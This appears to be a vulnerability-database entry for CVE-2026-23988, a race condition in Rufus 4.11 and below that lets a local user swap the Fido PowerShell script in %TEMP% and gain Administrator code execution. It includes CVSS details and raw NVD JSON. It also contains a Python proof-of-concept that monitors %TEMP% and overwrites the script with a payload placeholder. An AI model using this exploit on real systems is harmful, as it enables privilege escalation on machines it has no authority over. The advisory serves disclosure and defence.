Security Vulnerability Report
中文
CVE-2026-23988 CVSS 7.3 HIGH

CVE-2026-23988

Published: 2026-01-22 22:16:21
Last Modified: 2026-02-27 14:36:17

Description

Rufus is a utility that helps format and create bootable USB flash drives. Versions 4.11 and below contain a race condition (TOCTOU) in src/net.c during the creation, validation, and execution of the Fido PowerShell script. Since Rufus runs with elevated privileges (Administrator) but writes the script to the %TEMP% directory (writeable by standard users) without locking the file, a local attacker can replace the legitimate script with a malicious one between the file write operation and the execution step. This allows arbitrary code execution with Administrator privileges. This issue has been fixed in version 4.12_BETA.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:akeo:rufus:*:*:*:*:*:*:*:* - VULNERABLE
Rufus < 4.12_BETA
Rufus <= 4.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-23988 PoC - Rufus TOCTOU Race Condition # Target: Rufus <= 4.11 on Windows # This PoC demonstrates the race condition by monitoring and replacing the Fido script import os import time import shutil import threading import subprocess TEMP_DIR = os.environ.get('TEMP', 'C:\\Users\\Public\\AppData\\Local\\Temp') FIDOSCRIPT_NAME = 'rufus_fido_script.ps1' MALICIOUS_SCRIPT = ''' # Malicious payload - executes with Administrator privileges # Add your payload here $payload = "whoami > C:\\\\temp\\\\pwned.txt" Invoke-Expression $payload ''' def monitor_and_replace(): """Monitor TEMP directory and replace the Fido script with malicious one""" target_path = os.path.join(TEMP_DIR, FIDOSCRIPT_NAME) print(f"[*] Monitoring {TEMP_DIR} for {FIDOSCRIPT_NAME}...") while True: if os.path.exists(target_path): try: # Wait for file to be fully written time.sleep(0.1) # Replace with malicious script with open(target_path, 'w') as f: f.write(MALICIOUS_SCRIPT) print("[+] Script replaced successfully!") print("[+] Payload will execute with Administrator privileges") break except PermissionError: # File still locked, retry continue time.sleep(0.05) def main(): print("=" * 60) print("CVE-2026-23988 - Rufus TOCTOU Race Condition PoC") print("=" * 60) print("\n[!] This PoC requires:") print(" 1. Rufus running with Administrator privileges") print(" 2. Low-privilege user access to the system") print(" 3. User interaction to trigger Fido script creation") print("\n[*] Starting monitor thread...") # Start monitoring in background thread monitor_thread = threading.Thread(target=monitor_and_replace, daemon=True) monitor_thread.start() print("[*] Monitor running. Waiting for Rufus to create script...") print("[*] PoC ready - integrate with actual Rufus execution") # Keep thread alive monitor_thread.join(timeout=300) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23988", "sourceIdentifier": "[email protected]", "published": "2026-01-22T22:16:21.193", "lastModified": "2026-02-27T14:36:16.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rufus is a utility that helps format and create bootable USB flash drives. Versions 4.11 and below contain a race condition (TOCTOU) in src/net.c during the creation, validation, and execution of the Fido PowerShell script. Since Rufus runs with elevated privileges (Administrator) but writes the script to the %TEMP% directory (writeable by standard users) without locking the file, a local attacker can replace the legitimate script with a malicious one between the file write operation and the execution step. This allows arbitrary code execution with Administrator privileges. This issue has been fixed in version 4.12_BETA."}, {"lang": "es", "value": "Rufus es una utilidad que ayuda a formatear y crear unidades flash USB de arranque. Las versiones 4.11 e inferiores contienen una condición de carrera (TOCTOU) en src/net.c durante la creación, validación y ejecución del script de PowerShell Fido. Dado que Rufus se ejecuta con privilegios elevados (Administrador) pero escribe el script en el directorio %TEMP% (escribible por usuarios estándar) sin bloquear el archivo, un atacante local puede reemplazar el script legítimo por uno malicioso entre la operación de escritura del archivo y el paso de ejecución. Esto permite la ejecución de código arbitrario con privilegios de Administrador. Este problema ha sido solucionado en la versión 4.12_BETA."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:akeo:rufus:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.12", "matchCriteriaId": "FFBED744-9C21-4139-98DB-E44AC10397E0"}]}]}], "references": [{"url": "https://github.com/pbatard/rufus/commit/460cc5768aa45be07941b9e4ebc9bee02d282873", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pbatard/rufus/releases/tag/v4.12_BETA", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/pbatard/rufus/security/advisories/GHSA-hcx5-hrhj-xhq9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}